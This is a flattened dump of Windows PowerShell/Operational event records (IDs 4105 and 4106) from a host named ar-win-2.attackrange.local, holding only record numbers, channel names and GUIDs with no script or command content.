410615103150x0673574Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673573Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673572Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673571Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673570Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673569Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673568Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673567Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673566Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673565Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673564Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673563Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673562Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673561Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673560Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673559Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673558Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673557Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673556Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673555Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673554Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673553Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673552Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673551Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673550Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673549Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673548Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673547Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673546Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673545Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673544Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673543Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673542Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673541Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673540Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673539Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673538Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673537Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673536Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673535Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673534Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673533Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673532Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673531Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673530Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673529Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673528Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673527Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673526Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673525Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673524Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673523Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673522Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673521Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673520Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673519Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673518Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673517Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673516Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673515Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673514Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673513Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673512Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673511Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673510Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673509Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673508Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673507Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673506Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673505Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673504Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673503Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673502Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673501Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673500Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673499Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673498Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673497Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673496Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673495Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673494Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673493Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673492Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673491Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673490Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673489Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673488Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673487Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673486Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673485Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673484Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673483Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673482Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673481Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673480Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673479Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673478Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673477Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673476Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673475Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673474Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673473Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673472Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673471Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673470Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673469Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673468Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673467Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673466Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673465Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673464Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673463Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673462Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673461Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673460Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673459Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673458Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673457Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673456Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673455Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673454Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673453Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673452Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673451Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673450Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673449Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673448Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673447Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673446Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673445Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673444Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673443Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673442Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673441Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673440Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673439Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673438Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673437Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673436Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673435Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673434Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673433Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673432Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673431Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673430Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673429Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673428Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673427Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673426Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673425Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673424Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673423Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673422Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673421Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673420Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673419Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673418Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673417Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673416Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673415Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673414Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673413Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673412Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 